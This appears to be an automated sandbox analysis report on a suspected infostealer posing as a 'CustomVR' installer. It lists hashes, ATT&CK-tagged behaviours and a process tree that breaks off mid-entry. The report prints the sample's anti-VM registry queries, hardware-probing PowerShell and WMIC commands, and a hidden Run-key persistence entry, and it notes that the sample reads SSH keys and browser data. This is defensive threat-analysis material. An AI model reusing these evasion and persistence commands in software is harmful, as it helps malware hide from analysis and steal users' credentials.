6bb2f677cf18501468f813816578b5c03197c454fe0e11aaa71acfe7dcd71cfb

Resubmissions

28/06/2026, 02:06

260628-cjqdzaey6z

28/06/2026, 01:58

260628-cd19aaey6p9

Analysis

user interaction
yes
max time kernel
86s
max time network
149s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/06/2026, 01:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
CustomVR-Setup-3.78.4(2).exe
Size 114.4MB
Sample260628-cd19aaey6p
SHA256 6bb2f677cf18501468f813816578b5c03197c454fe0e11aaa71acfe7dcd71cfb
MD5 374bf510b13d6b7b0e0ab2bdaf6a435b
SHA1 7f57de90fd8787e89cac14197e7a287abbe4e48e
SHA512 6a60466a4da1228707aa87a89ad539b11c59d2c5aa31cd67fd47086c5658975517cc48f83975b35770a663889f77864b8dfbb623da6d24bf9c4d79025e873d35
SSDEEP 3145728:MYXLQiWn/ynFN88JuS9yjFLY3EppbJNJOO5V3JS:bQlqnFN88JH9yjZ/pbLJq
TLSH
T1E948331124554B3DFB80FA76639E90FA26CCAF05C4B3902B0A33B5E975747C6E6C5A23
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Enumerates VirtualBox registry keys 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	reg.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	reg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	reg.exe

Looks for VirtualBox Guest Additions in registry 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	reg.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	reg.exe

Looks for VMWare Tools registry key 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	reg.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	reg.exe

Looks for VMWare services registry key. 1 TTPs 2 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmmouse	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmmouse	reg.exe

Executes dropped EXE 10 IoCs

pid	Process
5280	CustomVR.exe
1472	CustomVR.exe
2500	CustomVR.exe
5244	CustomVR.exe
696	CustomVR.exe
4212	CustomVR.exe
5064	CustomVR.exe
4988	CustomVR.exe
3748	CustomVR.exe
2652	CustomVR.exe

Loads dropped DLL 22 IoCs

pid	Process
3552	CustomVR-Setup-3.78.4(2).exe
3552	CustomVR-Setup-3.78.4(2).exe
3552	CustomVR-Setup-3.78.4(2).exe
3552	CustomVR-Setup-3.78.4(2).exe
3552	CustomVR-Setup-3.78.4(2).exe
3552	CustomVR-Setup-3.78.4(2).exe
3552	CustomVR-Setup-3.78.4(2).exe
3552	CustomVR-Setup-3.78.4(2).exe
3552	CustomVR-Setup-3.78.4(2).exe
3552	CustomVR-Setup-3.78.4(2).exe
3552	CustomVR-Setup-3.78.4(2).exe
3552	CustomVR-Setup-3.78.4(2).exe
5280	CustomVR.exe
5280	CustomVR.exe
1472	CustomVR.exe
5244	CustomVR.exe
5244	CustomVR.exe
1472	CustomVR.exe
696	CustomVR.exe
696	CustomVR.exe
5064	CustomVR.exe
3748	CustomVR.exe

Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3226024100-3888324339-2736661264-1000\Software\Microsoft\Windows\CurrentVersion\Run\CustomVR = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\CustomVR\\CustomVR.exe\" --hidden"	CustomVR.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3226024100-3888324339-2736661264-1000\Software\Microsoft\Windows\CurrentVersion\Run\CustomVR = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\CustomVR\\CustomVR.exe\" --hidden"	CustomVR.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
9	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4996	powershell.exe
5056	powershell.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
5948	tasklist.exe
1012	tasklist.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	CustomVR.exe
File opened for modification	C:\Windows\SystemTemp	CustomVR.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
4916	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CustomVR-Setup-3.78.4(2).exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks processor information in registry 2 TTPs 48 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	CustomVR.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	CustomVR.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	CustomVR.exe

Detects videocard installed 1 TTPs 2 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3236	WMIC.exe
5184	WMIC.exe

Kills process with taskkill 58 IoCs

defense_evasion

pid	Process
6480	taskkill.exe
6528	taskkill.exe
4264	taskkill.exe
5852	taskkill.exe
2320	taskkill.exe
6416	taskkill.exe
7008	taskkill.exe
2332	taskkill.exe
4432	taskkill.exe
6304	taskkill.exe
5336	taskkill.exe
6500	taskkill.exe
7128	taskkill.exe
5860	taskkill.exe
2480	taskkill.exe
912	taskkill.exe
6640	taskkill.exe
7048	taskkill.exe
2480	taskkill.exe
1468	taskkill.exe
6272	taskkill.exe
3264	taskkill.exe
3124	taskkill.exe
4740	taskkill.exe
6612	taskkill.exe
2000	taskkill.exe
588	taskkill.exe
4432	taskkill.exe
6712	taskkill.exe
2664	taskkill.exe
6484	taskkill.exe
6472	taskkill.exe
7052	taskkill.exe
6532	taskkill.exe
4740	taskkill.exe
3480	taskkill.exe
1684	taskkill.exe
2820	taskkill.exe
6168	taskkill.exe
2480	taskkill.exe
3420	taskkill.exe
7040	taskkill.exe
2332	taskkill.exe
1068	taskkill.exe
5336	taskkill.exe
6032	taskkill.exe
6388	taskkill.exe
6536	taskkill.exe
3176	taskkill.exe
3420	taskkill.exe
6316	taskkill.exe
6268	taskkill.exe
5964	taskkill.exe
3596	taskkill.exe
2508	taskkill.exe
6276	taskkill.exe
6880	taskkill.exe
7020	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4916	powershell.exe
4916	powershell.exe
4996	powershell.exe
4996	powershell.exe
3552	CustomVR-Setup-3.78.4(2).exe
3552	CustomVR-Setup-3.78.4(2).exe
5056	powershell.exe
5056	powershell.exe
2776	powershell.exe
2776	powershell.exe
2776	powershell.exe
3236	WMIC.exe
3236	WMIC.exe
3236	WMIC.exe
3236	WMIC.exe
1032	powershell.exe
1032	powershell.exe
1032	powershell.exe
1268	powershell.exe
1268	powershell.exe
1268	powershell.exe
5184	WMIC.exe
5184	WMIC.exe
5184	WMIC.exe
5184	WMIC.exe
5468	powershell.exe
5468	powershell.exe
5468	powershell.exe
4848	WMIC.exe
4848	WMIC.exe
4848	WMIC.exe
4848	WMIC.exe
4908	WMIC.exe
4908	WMIC.exe
4908	WMIC.exe
4908	WMIC.exe
2504	powershell.exe
5292	powershell.exe
2504	powershell.exe
5292	powershell.exe
5292	powershell.exe
2504	powershell.exe
5948	WMIC.exe
5948	WMIC.exe
5948	WMIC.exe
5948	WMIC.exe
2912	powershell.exe
2912	powershell.exe
2912	powershell.exe
1640	WMIC.exe
1640	WMIC.exe
1640	WMIC.exe
1640	WMIC.exe
2664	WMIC.exe
2664	WMIC.exe
2664	WMIC.exe
2664	WMIC.exe
5244	CustomVR.exe
5244	CustomVR.exe
5244	CustomVR.exe
5244	CustomVR.exe
3784	WMIC.exe
3784	WMIC.exe
3784	WMIC.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4916	powershell.exe
Token: SeDebugPrivilege	4996	powershell.exe
Token: SeDebugPrivilege	5056	powershell.exe
Token: SeIncreaseQuotaPrivilege	5056	powershell.exe
Token: SeSecurityPrivilege	5056	powershell.exe
Token: SeTakeOwnershipPrivilege	5056	powershell.exe
Token: SeLoadDriverPrivilege	5056	powershell.exe
Token: SeSystemProfilePrivilege	5056	powershell.exe
Token: SeSystemtimePrivilege	5056	powershell.exe
Token: SeProfSingleProcessPrivilege	5056	powershell.exe
Token: SeIncBasePriorityPrivilege	5056	powershell.exe
Token: SeCreatePagefilePrivilege	5056	powershell.exe
Token: SeBackupPrivilege	5056	powershell.exe
Token: SeRestorePrivilege	5056	powershell.exe
Token: SeShutdownPrivilege	5056	powershell.exe
Token: SeDebugPrivilege	5056	powershell.exe
Token: SeSystemEnvironmentPrivilege	5056	powershell.exe
Token: SeRemoteShutdownPrivilege	5056	powershell.exe
Token: SeUndockPrivilege	5056	powershell.exe
Token: SeManageVolumePrivilege	5056	powershell.exe
Token: 33	5056	powershell.exe
Token: 34	5056	powershell.exe
Token: 35	5056	powershell.exe
Token: 36	5056	powershell.exe
Token: SeSecurityPrivilege	3552	CustomVR-Setup-3.78.4(2).exe
Token: SeDebugPrivilege	5948	tasklist.exe
Token: SeShutdownPrivilege	5280	CustomVR.exe
Token: SeCreatePagefilePrivilege	5280	CustomVR.exe
Token: SeDebugPrivilege	2776	powershell.exe
Token: SeDebugPrivilege	1012	tasklist.exe
Token: SeShutdownPrivilege	5280	CustomVR.exe
Token: SeCreatePagefilePrivilege	5280	CustomVR.exe
Token: SeIncreaseQuotaPrivilege	3236	WMIC.exe
Token: SeSecurityPrivilege	3236	WMIC.exe
Token: SeTakeOwnershipPrivilege	3236	WMIC.exe
Token: SeLoadDriverPrivilege	3236	WMIC.exe
Token: SeSystemProfilePrivilege	3236	WMIC.exe
Token: SeSystemtimePrivilege	3236	WMIC.exe
Token: SeProfSingleProcessPrivilege	3236	WMIC.exe
Token: SeIncBasePriorityPrivilege	3236	WMIC.exe
Token: SeCreatePagefilePrivilege	3236	WMIC.exe
Token: SeBackupPrivilege	3236	WMIC.exe
Token: SeRestorePrivilege	3236	WMIC.exe
Token: SeShutdownPrivilege	3236	WMIC.exe
Token: SeDebugPrivilege	3236	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3236	WMIC.exe
Token: SeRemoteShutdownPrivilege	3236	WMIC.exe
Token: SeUndockPrivilege	3236	WMIC.exe
Token: SeManageVolumePrivilege	3236	WMIC.exe
Token: 33	3236	WMIC.exe
Token: 34	3236	WMIC.exe
Token: 35	3236	WMIC.exe
Token: 36	3236	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3236	WMIC.exe
Token: SeSecurityPrivilege	3236	WMIC.exe
Token: SeTakeOwnershipPrivilege	3236	WMIC.exe
Token: SeLoadDriverPrivilege	3236	WMIC.exe
Token: SeSystemProfilePrivilege	3236	WMIC.exe
Token: SeSystemtimePrivilege	3236	WMIC.exe
Token: SeProfSingleProcessPrivilege	3236	WMIC.exe
Token: SeIncBasePriorityPrivilege	3236	WMIC.exe
Token: SeCreatePagefilePrivilege	3236	WMIC.exe
Token: SeBackupPrivilege	3236	WMIC.exe
Token: SeRestorePrivilege	3236	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3552 wrote to memory of 4916	3552	CustomVR-Setup-3.78.4(2).exe	89
PID 3552 wrote to memory of 4996	3552	CustomVR-Setup-3.78.4(2).exe	91
PID 3552 wrote to memory of 5056	3552	CustomVR-Setup-3.78.4(2).exe	93
PID 5280 wrote to memory of 2440	5280	CustomVR.exe	99
PID 5280 wrote to memory of 2944	5280	CustomVR.exe	101
PID 5280 wrote to memory of 1472	5280	CustomVR.exe	100
PID 5280 wrote to memory of 2500	5280	CustomVR.exe	103
PID 2440 wrote to memory of 2412	2440	cmd.exe	105
PID 2944 wrote to memory of 5948	2944	cmd.exe	107
PID 2412 wrote to memory of 3408	2412	net.exe	108
PID 5280 wrote to memory of 2752	5280	CustomVR.exe	109
PID 2752 wrote to memory of 2776	2752	cmd.exe	111
PID 5244 wrote to memory of 1748	5244	CustomVR.exe	112
PID 5244 wrote to memory of 2840	5244	CustomVR.exe	115
PID 5244 wrote to memory of 696	5244	CustomVR.exe	114
PID 5244 wrote to memory of 4212	5244	CustomVR.exe	117
PID 1748 wrote to memory of 1108	1748	cmd.exe	118
PID 2840 wrote to memory of 1012	2840	cmd.exe	119
PID 1108 wrote to memory of 3176	1108	net.exe	120
PID 5280 wrote to memory of 5908	5280	CustomVR.exe	121
PID 5908 wrote to memory of 3236	5908	cmd.exe	123
PID 5280 wrote to memory of 5304	5280	CustomVR.exe	124
PID 5304 wrote to memory of 1032	5304	cmd.exe	126
PID 5244 wrote to memory of 948	5244	CustomVR.exe	127
PID 948 wrote to memory of 1268	948	cmd.exe	129
PID 5244 wrote to memory of 3852	5244	CustomVR.exe	130
PID 3852 wrote to memory of 5184	3852	cmd.exe	132
PID 5244 wrote to memory of 2484	5244	CustomVR.exe	133
PID 2484 wrote to memory of 5468	2484	cmd.exe	135
PID 5244 wrote to memory of 2704	5244	CustomVR.exe	137
PID 5280 wrote to memory of 5572	5280	CustomVR.exe	139
PID 2704 wrote to memory of 5192	2704	cmd.exe	141
PID 5572 wrote to memory of 4464	5572	cmd.exe	142
PID 5244 wrote to memory of 1148	5244	CustomVR.exe	143
PID 5280 wrote to memory of 236	5280	CustomVR.exe	144
PID 236 wrote to memory of 1064	236	cmd.exe	147
PID 1148 wrote to memory of 2180	1148	cmd.exe	148
PID 5280 wrote to memory of 5016	5280	CustomVR.exe	149
PID 5244 wrote to memory of 4424	5244	CustomVR.exe	151
PID 5016 wrote to memory of 3172	5016	cmd.exe	217
PID 4424 wrote to memory of 5144	4424	cmd.exe	250
PID 5280 wrote to memory of 5392	5280	CustomVR.exe	155
PID 5244 wrote to memory of 4772	5244	CustomVR.exe	157
PID 5392 wrote to memory of 4264	5392	cmd.exe	277
PID 4772 wrote to memory of 5964	4772	cmd.exe	209
PID 5280 wrote to memory of 3764	5280	CustomVR.exe	161
PID 3764 wrote to memory of 1100	3764	cmd.exe	163
PID 5244 wrote to memory of 5724	5244	CustomVR.exe	164
PID 5724 wrote to memory of 5336	5724	cmd.exe	323
PID 5280 wrote to memory of 2268	5280	CustomVR.exe	167
PID 5244 wrote to memory of 2616	5244	CustomVR.exe	169
PID 2268 wrote to memory of 1124	2268	cmd.exe	170
PID 2616 wrote to memory of 4468	2616	cmd.exe	172
PID 5280 wrote to memory of 352	5280	CustomVR.exe	173
PID 5244 wrote to memory of 5676	5244	CustomVR.exe	175
PID 352 wrote to memory of 4848	352	cmd.exe	176
PID 5676 wrote to memory of 4908	5676	cmd.exe	178
PID 5244 wrote to memory of 4320	5244	CustomVR.exe	179
PID 5280 wrote to memory of 5408	5280	CustomVR.exe	180
PID 4320 wrote to memory of 2504	4320	cmd.exe	183
PID 5408 wrote to memory of 5292	5408	cmd.exe	184
PID 5244 wrote to memory of 2292	5244	CustomVR.exe	189
PID 2292 wrote to memory of 5948	2292	cmd.exe	191
PID 5244 wrote to memory of 2744	5244	CustomVR.exe	192

C:\Users\Admin\AppData\Local\Temp\CustomVR-Setup-3.78.4(2).exe
"C:\Users\Admin\AppData\Local\Temp\CustomVR-Setup-3.78.4(2).exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3552
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if (Get-Command Get-CimInstance -ErrorAction SilentlyContinue) { exit 0 } else { exit 1 }"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4916
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if ((Get-ExecutionPolicy -Scope Process) -eq 'Restricted') { exit 1 } else { exit 0 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4996
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -C "if ((Get-CimInstance -ClassName Win32_Process | ? {$_.Path -and $_.Path.StartsWith('C:\Users\Admin\AppData\Local\Programs\CustomVR', 'CurrentCultureIgnoreCase')}).Count -gt 0) { exit 0 } else { exit 1 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5056

C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe
"C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in Windows directory
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5280
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2440
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2412
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3408
- C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe
  "C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\CustomVR" --gpu-preferences=SAAAAAAAAADgAQAEAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --field-trial-handle=1736,i,833398806303807732,191876462683291322,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1740,i,727643193516486243,10991168634599656728,4 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1732 /prefetch:2
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2944
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:5948
- C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe
  "C:\Users\Admin\AppData\Local\Programs\CustomVR\CustomVR.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\CustomVR" --field-trial-handle=1736,i,833398806303807732,191876462683291322,262144 --enable-features=PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1740,i,727643193516486243,10991168634599656728,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=1960 /prefetch:11
  2⤵
  - Executes dropped EXE
  PID:2500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5908
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_VideoController get name
    3⤵
    - Detects videocard installed
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell "(Get-PhysicalDisk).BusType""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5304
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "(Get-PhysicalDisk).BusType"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5572
- - C:\Windows\system32\reg.exe
